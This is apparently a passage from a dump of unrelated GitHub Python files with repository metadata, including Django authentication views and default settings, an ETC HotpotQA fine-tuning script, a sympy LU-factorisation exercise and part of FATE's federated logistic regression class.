DevicegroupSchemaLoggingSyslog): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """Returns true if both objects are not equal""" return not self == other
357714394ac3d126251c1f1d6028f9c3b887f31f
92b3ade5b69889b806f37c440ff7bbe9ad1e9ca9
/mysite/project/apps/myauth/views.py
1dba2ec8e0f00a539fef9d249c3270ae41be4ca3
[]
no_license
BorisovDima/WebProject
4b468ed07555140890165954710185612d629ec9
e84e5e5d83028412bdfb8cb93c8ec0fde5c54980
refs/heads/master
2022-12-10T17:17:56.159721
2019-02-22T02:42:53
2019-02-22T02:42:53
160,443,451
0
0
null
2022-11-22T03:08:53
2018-12-05T01:43:46
Python
UTF-8
Python
false
false
3,505
py
from django.urls import reverse from django.template.loader import render_to_string from django.views.generic import CreateView, RedirectView from django.contrib.auth import get_user_model from django.contrib.auth.views import LogoutView, LoginView from django.conf import settings from django.contrib.auth.views import PasswordResetView from django.utils.decorators import method_decorator from django.views.decorators.http import require_POST from django.shortcuts import get_object_or_404 from project.apps.account.mixins import NotLoginRequiredMixin from project.apps.ajax_utils_.mixins import AjaxMixin from .models import BanList from .forms import MyRegForm from .utils import handler_ip, set_geo from project.apps.back_task.tasks import sendler_mail @method_decorator(require_POST, name='dispatch') class Registr(NotLoginRequiredMixin, AjaxMixin, CreateView): captcha = True def get_data(self, form): return {'html': render_to_string('myauth/verify.html', {'user': form.instance.username, 'mail': form.instance.email})} class Login(NotLoginRequiredMixin, LoginView): def get_context_data(self, **kwargs): context = super().get_context_data(**kwargs) context['reg_form'] = MyRegForm() return context def post(self, req, *args, **kwargs): self.ip = handler_ip(req) self.ban_list, created = BanList.objects.get_or_create(ip=self.ip, defaults={'ip': self.ip}) status = self.ban_list.check_ban() return super().post(req, *args, **kwargs) if status['status'] == 'ok' else status['response'] def form_valid(self, form): self.ban_list.delete() return super().form_valid(form) def form_invalid(self, form): self.ban_list.banned() return super().form_invalid(form) def get_success_url(self): return reverse('account:profile', kwargs={'login': self.request.user.username}) class Logout(LogoutView): pass class Vertify_account(RedirectView): def get_redirect_url(self, *args, **kwargs): user = get_object_or_404(get_user_model(), uuid=self.kwargs['uuid'], is_verified=False) user.is_verified = True user.save(update_fields=['is_verified']) set_geo(user, self.request) self.url = reverse('myauth:login') return super().get_redirect_url(*args, **kwargs) @method_decorator(require_POST, name='dispatch') class ResetPass(AjaxMixin, PasswordResetView): def get_data(self, form): return {'html': render_to_string('myauth/reset_pass.html', {'email': form.cleaned_data['email']})} from django.views.generic import FormView class HelpLogin(NotLoginRequiredMixin, AjaxMixin, FormView): captcha = True def get_data(self, form): return {'email': form.cleaned_data['email']} def form_valid(self, form): res = super().form_valid(form) if res.status_code == 200: user = get_user_model().objects.filter(email=form.cleaned_data['email']) if user and not user.first().is_verified: user = user.first() kwargs = {'link': 'http://localhost%s' % reverse('myauth:verify', kwargs={'uuid': user.uuid}), 'user': user.username} sendler_mail.delay('', '', settings.DEFAULT_FROM_EMAIL, [user.email], template_name='back_task/mail_registr.html', **kwargs) return res
a129616b2d8205c61a851bfcdd1eb74d7f79d46e
7db3916d8ac8a66a954d230e43bb74b37f81357c
/04day/04-私有属性.py
6736df4df214cab944cec7f434b9bcd4fc74452e
[]
no_license
2001128/2_1805
2fc96bc6f8e2afcd9d4743891ecd87b754c28cc8
b3d4bfab2703a7c6aa1c280669376efeab28cad1
refs/heads/master
2020-03-22T20:53:14.903808
2018-07-30T06:04:49
2018-07-30T06:04:49
140,639,052
0
0
null
null
null
null
UTF-8
Python
false
false
285
py
class Father(): def __init__(self): self.__count = 3#处过对象的个数 def getCount(self): return self.__count def setCount(self,count): self.__count = count f = Father() #f.__count = 10 #print(f.__count) f.setCount(20) print(f.getCount())
eb58654846043c31dcb2355b68903eccb409778b
d94b6845aeeb412aac6850b70e22628bc84d1d6d
/etcmodel/models/hotpotqa/run_finetuning.py
9e42f63277637dc3a5a487533da3af1b4eb96477
[ "CC-BY-4.0", "Apache-2.0" ]
permissive
ishine/google-research
541aea114a68ced68736340e037fc0f8257d1ea2
c1ae273841592fce4c993bf35cdd0a6424e73da4
refs/heads/master
2023-06-08T23:02:25.502203
2023-05-31T01:00:56
2023-05-31T01:06:45
242,478,569
0
0
Apache-2.0
2020-06-23T01:55:11
2020-02-23T07:59:42
Jupyter Notebook
UTF-8
Python
false
false
20,511
py
# coding=utf-8 # Copyright 2023 The Google Research Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Binary to run training or evaluation of ETC HotpotQA model.""" import collections import functools import json import os from typing import Mapping, Sequence, Union from absl import flags import numpy as np import tensorflow.compat.v1 as tf from tensorflow.compat.v1 import estimator as tf_estimator from etcmodel.models import input_utils from etcmodel.models import modeling from etcmodel.models import tokenization from etcmodel.models.hotpotqa import eval_utils from etcmodel.models.hotpotqa import hotpot_evaluate_v1_lib as hotpot_eval from etcmodel.models.hotpotqa import run_finetuning_lib tf.compat.v1.disable_v2_behavior() FLAGS = flags.FLAGS flags.DEFINE_string( "etc_config_file", None, "The config json file corresponding to the pre-trained ETC model. " "This specifies the model architecture.") flags.DEFINE_string( "init_checkpoint", None, "Initial checkpoint (usually from a pre-trained BERT model).") flags.DEFINE_string( "output_dir", None, ("The output directory where the model checkpoints and prediction results" "will be saved.")) flags.DEFINE_string("train_tf_examples_filepattern", None, "Training tf examples filepattern.") flags.DEFINE_integer("num_train_tf_examples", None, "Number of train tf examples.") flags.DEFINE_string("predict_tf_examples_filepattern", None, "Prediction tf examples filepattern.") flags.DEFINE_string("predict_gold_json_file", None, "Prediction json filename.") flags.DEFINE_string( "spm_model_file", "", ("The SentencePiece tokenizer model file that the ETC model was trained on." "If not None, the `vocab_file` is ignored.")) flags.DEFINE_string( "vocab_file", "", "The WordPiece tokenizer vocabulary file that the ETC model was trained on." ) flags.DEFINE_integer( "max_long_seq_length", 4096, "The maximum total input sequence length after WordPiece tokenization. " "Sequences longer than this will be truncated, and sequences shorter " "than this will be padded.") flags.DEFINE_integer( "max_global_seq_length", 230, "The maximum total global sequence length. " "Sequences longer than this will be truncated, and sequences shorter " "than this will be padded.") flags.DEFINE_enum("run_mode", "train", ["train", "predict", "export"], "The run mode of the program.") flags.DEFINE_float("learning_rate", 5e-5, "The initial learning rate for Adam.") flags.DEFINE_enum( "learning_rate_schedule", "poly_decay", ["poly_decay", "inverse_sqrt"], "The learning rate schedule to use. The default of " "`poly_decay` uses tf.train.polynomial_decay, while " "`inverse_sqrt` uses inverse sqrt of time after the warmup.") flags.DEFINE_float("poly_power", 1.0, "The power of poly decay.") flags.DEFINE_enum("optimizer", "adamw", ["adamw", "lamb"], "The optimizer for training.") flags.DEFINE_float("num_train_epochs", 3.0, "Total number of training epochs to perform.") flags.DEFINE_float( "warmup_proportion", 0.1, ("Proportion of training to perform linear learning rate warmup for. " "E.g., 0.1 = 10% of training.")) flags.DEFINE_integer("start_warmup_step", 0, "The starting step of warmup.") flags.DEFINE_integer("train_batch_size", 32, "Total batch size for training.") flags.DEFINE_integer("predict_batch_size", 8, "Total batch size for predictions.") flags.DEFINE_bool( "flat_sequence", False, ("If True, the attention masks / relative attention ids would be computing" "assuming the default ETC setting where there is not any structure (except" "for having the notion of a 'sentence').")) flags.DEFINE_enum("answer_encoding_method", "span", ["span", "bio"], "The answer encoding method.") flags.DEFINE_bool("use_tpu", True, "Whether to use tpu.") flags.DEFINE_string("tpu_job_name", None, "Name of TPU worker, if anything other than 'tpu_worker'") flags.DEFINE_integer( "num_tpu_cores", 8, "Only used if `use_tpu` is True. Total number of TPU cores to use.") flags.DEFINE_integer("save_checkpoints_steps", 500, "How often to save the model checkpoint.") flags.DEFINE_integer("iterations_per_loop", 500, "How many steps to make in each estimator call.") flags.DEFINE_float( "supporting_fact_threshold", 0.5, ("The threshold for whether a sentence is a supporting fact. If None search" "the threshold for best joint f1.")) flags.DEFINE_integer( "max_answer_length", 30, "The max number of wordpiece toknes allowed for an answer.") flags.DEFINE_string("master", None, "[Optional] TensorFlow master URL.") flags.DEFINE_bool("save_raw_predictions", False, "Whether to save raw predictions to file.") flags.DEFINE_integer( "grad_checkpointing_period", None, "If specified, this overrides the corresponding `EtcConfig` value loaded " "from `etc_config_file`.") flags.DEFINE_integer("random_seed", 0, "Random seed for random repeat runs.") flags.DEFINE_string( "export_ckpts", None, "A space separated list of all the " "checkpoints to be exported. If None, exports all the " "checkpoints within the model_dir. Applicable only when " "`do_export` is set to True.") flags.DEFINE_string( "tpu_name", None, "The Cloud TPU to use for training. This should be either the name " "used when creating the Cloud TPU, or a grpc://ip.address.of.tpu:8470 " "url.") flags.DEFINE_string( "tpu_zone", None, "[Optional] GCE zone where the Cloud TPU is located in. If not " "specified, we will attempt to automatically detect the GCE project from " "metadata.") flags.DEFINE_string( "gcp_project", None, "[Optional] Project name for the Cloud TPU-enabled project. If not " "specified, we will attempt to automatically detect the GCE project from " "metadata.") def _get_tokenizer(): """Gets tokenizer and whether WordPiece tokenizer is used.""" if FLAGS.spm_model_file: use_wordpiece = False tokenizer = tokenization.FullTokenizer(None, None, FLAGS.spm_model_file) elif FLAGS.vocab_file: use_wordpiece = True tokenizer = tokenization.FullTokenizer(FLAGS.vocab_file) else: raise ValueError( "Either a 'sp_model' or a 'vocab_file' need to specified to create a" "tokenizer.") return tokenizer, use_wordpiece def _add_extra_info(raw_predictions: Sequence[Mapping[str, np.ndarray]], predict_tf_examples: Sequence[tf.train.Example], use_wordpiece: bool) -> None: """Adds the extra info in tf examples to raw predictions.""" if len(raw_predictions) != len(predict_tf_examples): raise ValueError( f"Num of raw predictions {len(raw_predictions)} doesn't equal to" f"num of predict tf examples {len(predict_tf_examples)}.") for raw_prediction, predict_tf_example in zip(raw_predictions, predict_tf_examples): for meta_info_name in ["unique_ids", "type", "level"]: raw_prediction[meta_info_name] = input_utils.get_repeated_values( meta_info_name, predict_tf_example)[0] raw_prediction["global_sentence_ids"] = np.array( input_utils.get_repeated_values("global_sentence_ids", predict_tf_example)) raw_prediction["global_paragraph_ids"] = np.array( input_utils.get_repeated_values("global_paragraph_ids", predict_tf_example)) if use_wordpiece: raw_prediction["long_tokens_to_unigrams"] = np.array( input_utils.get_repeated_values("long_tokens_to_unigrams", predict_tf_example)) def _save_raw_predictions(checkpoint: str, raw_predictions: Sequence[Mapping[str, np.ndarray]], use_wordpiece: bool) -> None: """Save raw prediction to file as tf.Examples.""" output_file = f"{checkpoint}.predicted-tfrecords" with tf.python_io.TFRecordWriter(output_file) as writer: for raw_prediction in raw_predictions: features = collections.OrderedDict() for output_name in ["unique_ids", "type", "level"]: features[output_name] = input_utils.create_bytes_feature( [raw_prediction[output_name]]) for output_name in [ "long_token_ids", "long_sentence_ids", "long_token_type_ids", "global_token_ids", "global_sentence_ids", "global_paragraph_ids", "answer_begin_top_indices", "answer_end_top_indices", "answer_types" ]: features[output_name] = input_utils.create_int_feature( raw_prediction[output_name]) for output_name in [ "supporting_facts_probs", "answer_begin_top_probs", "answer_end_top_probs", ]: features[output_name] = input_utils.create_float_feature( raw_prediction[output_name]) if use_wordpiece: features["long_tokens_to_unigrams"] = input_utils.create_int_feature( raw_prediction["long_tokens_to_unigrams"]) writer.write( tf.train.Example(features=tf.train.Features( feature=features)).SerializeToString()) def _get_predictions_and_scores(raw_predictions, gold_json_data, tokenizer, use_wordpiece, sp_threshold): prediction_json = eval_utils.generate_prediction_json( raw_predictions, gold_json_data, tokenizer, sp_threshold, FLAGS.max_answer_length, use_wordpiece, FLAGS.answer_encoding_method) scores = hotpot_eval.evaluate(prediction_json, gold_json_data) scores.update(hotpot_eval.get_em_counts(prediction_json, gold_json_data)) return prediction_json, scores def _search_sp_threshold(raw_predictions, gold_json_data, tokenizer, use_wordpiece): """Search supporting facts thresholds giving the best joint f1.""" best_joint_f1 = -1.0 best_result = None sp_thresholds = np.linspace(0, 1, 11) for sp_threshold in sp_thresholds: prediction_json, scores = _get_predictions_and_scores( raw_predictions, gold_json_data, tokenizer, use_wordpiece, sp_threshold) if scores["joint_f1"] > best_joint_f1: best_joint_f1 = scores["joint_f1"] best_result = (sp_threshold, prediction_json, scores) assert best_result is not None, "No best result." return best_result def _write_predictions_json(prediction_json, filename: str): with tf.gfile.Open(filename, "w") as f: json.dump(prediction_json, f) def _write_scores_to_summary(scores: Mapping[str, Union[float, int]], summary_writer: tf.summary.FileWriter, current_step: int) -> None: """Writes eval scores to tf summary file.""" for metric_name, score in scores.items(): if metric_name.startswith("sp"): metric_name = f"sp/{metric_name}" elif metric_name.startswith("joint"): metric_name = f"joint/{metric_name}" else: metric_name = f"ans/{metric_name}" summary_writer.add_summary( tf.Summary(value=[ tf.Summary.Value(tag=metric_name, simple_value=score), ]), global_step=current_step) summary_writer.flush() def _write_scores_to_text(scores: Mapping[str, Union[float, int]], filename: str) -> None: """Writes eval scores to text file.""" lb_metrics = ["em", "f1", "sp_em", "sp_f1", "joint_em", "joint_f1"] lb_scores = np.array([scores[k] for k in lb_metrics]) with tf.gfile.Open(filename, "w") as f: print("leaderboard metrics:", file=f) print("ans, sup, joint", file=f) print("EM, F1, EM, F1, EM, F1", file=f) print(", ".join(["{:.2f}"] * 6).format(*(lb_scores * 100)), file=f) print(", ".join(["{}"] * 6).format(*lb_scores), file=f) print("all metrics:", file=f) for metric_name, score in sorted(scores.items()): print(f"{metric_name}: {score}", file=f) def _serving_input_receiver_fn( long_seq_length: int, global_seq_length: int, ) -> tf_estimator.export.ServingInputReceiver: """Creates an input function to parse input features for inference. This function defines format of the inputs to the exported HotpotQA model. at inference time. Args: long_seq_length: The long input len. global_seq_length: The global input len. Returns: The ServingInputReceiver fn. """ # An input receiver that expects a vector of serialized `tf.Example`s. serialized_tf_example = tf.placeholder( dtype=tf.string, shape=[None], name="serialized_tf_example") receiver_tensors = {"serialized_tf_example": serialized_tf_example} schema = run_finetuning_lib.get_inference_name_to_features( long_seq_length, global_seq_length) features = tf.parse_example(serialized_tf_example, schema) return tf_estimator.export.ServingInputReceiver(features, receiver_tensors) def run_export(estimator, model_dir, export_ckpts, long_seq_length, global_seq_length): """Exports a `tf.SavedModel` for each checkpoint in the model_dir. Args: estimator: The TPUEstimator. model_dir: The model directory to be used for finding the checkpoints to be exported. export_ckpts: A space separated list of all the checkpoints to be exported. If None, exports all the checkpoints within the `model_dir` long_seq_length: The long input len. global_seq_length: The global input len. """ if export_ckpts is None: # Export all the checkpoints within the `model_dir`. ckpts = [ f[0:f.rfind(".")] for f in tf.gfile.ListDir(model_dir) if f.startswith("model.ckpt-") ] ckpts = set(ckpts) else: ckpts = [ckpt.strip() for ckpt in export_ckpts.split(" ")] for ckpt_name in ckpts: ckpt_path = os.path.join(model_dir, ckpt_name) export_path = estimator.export_saved_model( export_dir_base=os.path.join(model_dir, "saved_models", ckpt_name), serving_input_receiver_fn=functools.partial( _serving_input_receiver_fn, long_seq_length=long_seq_length, global_seq_length=global_seq_length), checkpoint_path=ckpt_path) tf.logging.info("HotpotQA ETC Model exported to %s for checkpoint %s ", export_path, ckpt_path) def main(_): tf.logging.set_verbosity(tf.logging.INFO) tf.gfile.MakeDirs(FLAGS.output_dir) with tf.gfile.Open(FLAGS.predict_gold_json_file, "r") as f: gold_json_data = json.load(f) predict_tf_examples = [] for tf_record_path in tf.gfile.Glob(FLAGS.predict_tf_examples_filepattern): for tf_record in tf.compat.v1.io.tf_record_iterator(tf_record_path): predict_tf_examples.append(tf.train.Example.FromString(tf_record)) tokenizer, use_wordpiece = _get_tokenizer() etc_model_config = modeling.EtcConfig.from_json_file(FLAGS.etc_config_file) if FLAGS.grad_checkpointing_period is not None: etc_model_config.grad_checkpointing_period = FLAGS.grad_checkpointing_period tpu_cluster_resolver = None if FLAGS.use_tpu and FLAGS.tpu_name: tpu_cluster_resolver = tf.distribute.cluster_resolver.TPUClusterResolver( FLAGS.tpu_name, zone=FLAGS.tpu_zone, project=FLAGS.gcp_project) run_config = tf_estimator.tpu.RunConfig( cluster=tpu_cluster_resolver, master=FLAGS.master, model_dir=FLAGS.output_dir, save_checkpoints_steps=FLAGS.save_checkpoints_steps, tpu_config=tf_estimator.tpu.TPUConfig( iterations_per_loop=FLAGS.iterations_per_loop, num_shards=FLAGS.num_tpu_cores, per_host_input_for_training=( tf_estimator.tpu.InputPipelineConfig.PER_HOST_V2), tpu_job_name=FLAGS.tpu_job_name)) num_train_steps = int(FLAGS.num_train_tf_examples / FLAGS.train_batch_size * FLAGS.num_train_epochs) num_warmup_steps = int(num_train_steps * FLAGS.warmup_proportion) model_fn = run_finetuning_lib.model_fn_builder( etc_model_config, FLAGS.learning_rate, num_train_steps, num_warmup_steps, FLAGS.flat_sequence, FLAGS.answer_encoding_method, FLAGS.use_tpu, use_wordpiece, FLAGS.optimizer, FLAGS.poly_power, FLAGS.start_warmup_step, FLAGS.learning_rate_schedule, FLAGS.init_checkpoint) estimator = tf_estimator.tpu.TPUEstimator( use_tpu=FLAGS.use_tpu, model_fn=model_fn, config=run_config, train_batch_size=FLAGS.train_batch_size, predict_batch_size=FLAGS.predict_batch_size, export_to_tpu=False) if FLAGS.run_mode == "train": tf.logging.info("***** Running train of models *****") input_fn = run_finetuning_lib.input_fn_builder( input_filepattern=FLAGS.train_tf_examples_filepattern, long_seq_length=FLAGS.max_long_seq_length, global_seq_length=FLAGS.max_global_seq_length, is_training=True, answer_encoding_method=FLAGS.answer_encoding_method, drop_remainder=True) estimator.train(input_fn=input_fn, max_steps=num_train_steps) elif FLAGS.run_mode == "predict": tf.logging.info("***** Running predict of models *****") summary_writer = tf.summary.FileWriter( logdir=os.path.join(FLAGS.output_dir)) input_fn = run_finetuning_lib.input_fn_builder( input_filepattern=FLAGS.predict_tf_examples_filepattern, long_seq_length=FLAGS.max_long_seq_length, global_seq_length=FLAGS.max_global_seq_length, is_training=False, answer_encoding_method=FLAGS.answer_encoding_method, drop_remainder=False) for ckpt in tf.train.checkpoints_iterator(FLAGS.output_dir): try: raw_predictions = list( estimator.predict( input_fn=input_fn, checkpoint_path=ckpt, yield_single_examples=True)) except tf.errors.NotFoundError: # Since the coordinator is on a different job than the TPU worker, # sometimes the TPU worker does not finish initializing until long after # the CPU job tells it to start evaluating. In this case, the checkpoint # file could have been deleted already. tf.logging.info("Checkpoint %s no longer exists, skipping checkpoint", ckpt) continue _add_extra_info(raw_predictions, predict_tf_examples, use_wordpiece) if FLAGS.save_raw_predictions: _save_raw_predictions(ckpt, raw_predictions, use_wordpiece) prediction_json, scores = _get_predictions_and_scores( raw_predictions, gold_json_data, tokenizer, use_wordpiece, FLAGS.supporting_fact_threshold) current_step = int(os.path.basename(ckpt).split("-")[1]) _write_predictions_json(prediction_json, f"{ckpt}.predictions.json") _write_scores_to_summary(scores, summary_writer, current_step) _write_scores_to_text(scores, f"{ckpt}.scores.txt") # Terminate eval job when final checkpoint is reached if current_step >= num_train_steps: sp_threshold, prediction_json, scores = _search_sp_threshold( raw_predictions, gold_json_data, tokenizer, use_wordpiece) _write_predictions_json( prediction_json, f"{ckpt}.predictions_sp{sp_threshold:.2f}.json") _write_scores_to_text(scores, f"{ckpt}.scores_sp{sp_threshold:.2f}.txt") tf.logging.info( f"Prediction finished after training step {current_step}") break elif FLAGS.run_mode == "export": tf.logging.info("***** Running export of models *****") run_export( estimator=estimator, model_dir=FLAGS.output_dir, export_ckpts=FLAGS.export_ckpts, long_seq_length=FLAGS.max_long_seq_length, global_seq_length=FLAGS.max_global_seq_length) if __name__ == "__main__": tf.app.run(main)
991d23daa0afbd61d11515d50d29b0a0a1b642f9
bcfbb49b054380db6e7aeadc2d4e62292b5307f9
/singh/ch6_4_lu_factorization/ex6_18_lu_factorization3.py
692e64036d5d8462dd770ddd094eadebbe9287ac
[]
no_license
hiddenwaffle/Ax-equals-b
de82d43248962ae072fd8b8a0c9eab37b52fd472
e5f4e4ac5b928440ee557eff9cf4d4683b8f7e56
refs/heads/main
2023-04-15T11:24:51.010982
2021-04-28T18:31:00
2021-04-28T18:31:00
322,965,263
0
0
null
null
null
null
UTF-8
Python
false
false
176
py
from sympy import * A = Matrix([ [1, 4, 5, 3], [5, 22, 27, 11], [6, 19, 27, 31], [5, 28, 35, -8] ]) L, U, _ = A.LUdecomposition() pprint([L, U]) pprint(L * U)
3d5c5964be2e81318b7e8e0054b9ba5867650277
54ab19e469488dedd50673c848955ffd7ab1d753
/aarsix/settings.py
2c5fe5c7b891529b7f1f965f1871ab5ac3efe7ad
[]
no_license
jgjefersonluis/aarsix
05093c72bdbbff248f5320662da2c2bf905a2dd2
c6c30d33db8632de1e83d32afb30814031c13663
refs/heads/master
2023-03-28T04:01:32.402784
2021-03-28T20:57:11
2021-03-28T20:57:11
352,427,280
0
0
null
null
null
null
UTF-8
Python
false
false
3,062
py
""" Django settings for aarsix project. Generated by 'django-admin startproject' using Django 3.1.7. For more information on this file, see https://docs.djangoproject.com/en/3.1/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/3.1/ref/settings/ """ from pathlib import Path # Build paths inside the project like this: BASE_DIR / 'subdir'. BASE_DIR = Path(__file__).resolve().parent.parent # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/3.1/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = 'qh&c#!(@i%%#y=*8_&$35w07px2bfmme9&$lie1))9cd=m*1@c' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = True ALLOWED_HOSTS = [] # Application definition INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'aarsix.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'aarsix.wsgi.application' # Database # https://docs.djangoproject.com/en/3.1/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': BASE_DIR / 'db.sqlite3', } } # Password validation # https://docs.djangoproject.com/en/3.1/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/3.1/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/3.1/howto/static-files/ STATIC_URL = '/static/'
c78047d7c975a67bd8a2e35ddd7e02a721f1f170
bcb8337b488f6acb91b700a2312a5b2018855413
/federatedml/logistic_regression/base_logistic_regression.py
87ca766b24f622744a7ef1222929579ffbcf7367
[ "Apache-2.0" ]
permissive
freeeedooom/FATE
d17a4729f059cfec6bc07c3142bebcd3b470dc3c
7bbce8ee037543f280791378681742b40a300b0a
refs/heads/master
2020-08-19T12:15:22.517131
2019-10-17T07:09:22
2019-10-17T07:09:22
215,918,890
1
0
Apache-2.0
2019-10-18T01:45:43
2019-10-18T01:45:43
null
UTF-8
Python
false
false
15,747
py
# # Copyright 2019 The FATE Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import copy import numpy as np from google.protobuf import json_format from arch.api.proto import lr_model_meta_pb2, lr_model_param_pb2 from arch.api.utils import log_utils from federatedml.model_base import ModelBase from federatedml.model_selection.KFold import KFold from federatedml.one_vs_rest.one_vs_rest import OneVsRest from federatedml.optim import Optimizer from federatedml.optim import convergence from federatedml.optim import Initializer from federatedml.optim import L1Updater from federatedml.optim import L2Updater from federatedml.param.logistic_regression_param import LogisticParam from federatedml.secureprotol import PaillierEncrypt, FakeEncrypt from federatedml.statistic import data_overview from federatedml.util import consts from federatedml.util import abnormal_detection LOGGER = log_utils.getLogger() class BaseLogisticRegression(ModelBase): def __init__(self): super(BaseLogisticRegression, self).__init__() self.model_param = LogisticParam() # attribute: self.n_iter_ = 0 self.coef_ = None self.intercept_ = 0 self.classes_ = None self.feature_shape = None self.gradient_operator = None self.initializer = Initializer() self.transfer_variable = None self.loss_history = [] self.is_converged = False self.header = None self.class_name = self.__class__.__name__ self.model_name = 'LogisticRegression' self.model_param_name = 'LogisticRegressionParam' self.model_meta_name = 'LogisticRegressionMeta' self.role = '' self.mode = '' self.schema = {} # one_ve_rest parameter self.need_one_vs_rest = False self.one_vs_rest_classes = [] self.one_vs_rest_obj = None def _init_model(self, params): self.model_param = params self.alpha = params.alpha self.init_param_obj = params.init_param self.fit_intercept = self.init_param_obj.fit_intercept self.learning_rate = params.learning_rate self.encrypted_mode_calculator_param = params.encrypted_mode_calculator_param self.encrypted_calculator = None if params.penalty == consts.L1_PENALTY: self.updater = L1Updater(self.alpha, self.learning_rate) elif params.penalty == consts.L2_PENALTY: self.updater = L2Updater(self.alpha, self.learning_rate) else: self.updater = None self.eps = params.eps self.batch_size = params.batch_size self.max_iter = params.max_iter self.learning_rate = params.learning_rate self.party_weight = params.party_weight self.penalty = params.penalty if params.encrypt_param.method == consts.PAILLIER: self.encrypt_operator = PaillierEncrypt() else: self.encrypt_operator = FakeEncrypt() if params.converge_func == 'diff': self.converge_func = convergence.DiffConverge(eps=self.eps) elif params.converge_func == 'weight_diff': self.converge_func = convergence.WeightDiffConverge(eps=self.eps) else: self.converge_func = convergence.AbsConverge(eps=self.eps) self.re_encrypt_batches = params.re_encrypt_batches self.predict_param = params.predict_param self.optimizer = Optimizer(params.learning_rate, params.optimizer) self.key_length = params.encrypt_param.key_length def set_feature_shape(self, feature_shape): self.feature_shape = feature_shape def set_header(self, header): self.header = header def get_features_shape(self, data_instances): if self.feature_shape is not None: return self.feature_shape return data_overview.get_features_shape(data_instances) def get_header(self, data_instances): if self.header is not None: return self.header return data_instances.schema.get("header") def compute_wx(self, data_instances, coef_, intercept_=0): return data_instances.mapValues(lambda v: np.dot(v.features, coef_) + intercept_) def update_model(self, gradient): if self.fit_intercept: if self.updater is not None: self.coef_ = self.updater.update_coef(self.coef_, gradient[:-1]) else: self.coef_ = self.coef_ - gradient[:-1] self.intercept_ -= gradient[-1] else: if self.updater is not None: self.coef_ = self.updater.update_coef(self.coef_, gradient) else: self.coef_ = self.coef_ - gradient def merge_model(self): w = self.coef_.copy() if self.fit_intercept: w = np.append(w, self.intercept_) return w def set_coef_(self, w): self.coef_ = [] self.intercept_ = [] if self.fit_intercept: self.coef_ = w[: -1] self.intercept_ = w[-1] else: self.coef_ = w self.intercept_ = 0 LOGGER.debug("In set_coef_, coef: {}, intercept: {}, fit_intercept: {}".format( self.coef_, self.intercept_, self.fit_intercept )) def classified(self, prob_table, threshold): """ convert a probability table into a predicted class table. """ predict_table = prob_table.mapValues(lambda x: 1 if x > threshold else 0) return predict_table def fit(self, data_instance): pass def _get_meta(self): meta_protobuf_obj = lr_model_meta_pb2.LRModelMeta(penalty=self.model_param.penalty, eps=self.eps, alpha=self.alpha, optimizer=self.model_param.optimizer, party_weight=self.model_param.party_weight, batch_size=self.batch_size, learning_rate=self.learning_rate, max_iter=self.max_iter, converge_func=self.model_param.converge_func, re_encrypt_batches=self.re_encrypt_batches) return meta_protobuf_obj def _get_param(self): header = self.header LOGGER.debug("In get_param, header: {}".format(header)) if header is None: param_protobuf_obj = lr_model_param_pb2.LRModelParam() return param_protobuf_obj if self.need_one_vs_rest: one_vs_rest_class = list(map(str, self.one_vs_rest_obj.classes)) else: one_vs_rest_class = None weight_dict = {} for idx, header_name in enumerate(header): if self.need_one_vs_rest: for class_idx, class_obj in enumerate(self.one_vs_rest_obj.models): coef = class_obj.coef_[idx] class_type = one_vs_rest_class[class_idx] class_and_header_name = "_".join(["class", str(class_type), header_name]) weight_dict[class_and_header_name] = coef else: coef_i = self.coef_[idx] weight_dict[header_name] = coef_i if self.need_one_vs_rest: for class_idx, class_obj in enumerate(self.one_vs_rest_obj.models): intercept = class_obj.intercept_ class_type = one_vs_rest_class[class_idx] intercept_name = "_".join(["class", str(class_type), "intercept"]) weight_dict[intercept_name] = intercept self.intercept_ = 0 param_protobuf_obj = lr_model_param_pb2.LRModelParam(iters=self.n_iter_, loss_history=self.loss_history, is_converged=self.is_converged, weight=weight_dict, intercept=self.intercept_, header=header, need_one_vs_rest=self.need_one_vs_rest, one_vs_rest_classes=one_vs_rest_class ) json_result = json_format.MessageToJson(param_protobuf_obj) LOGGER.debug("json_result: 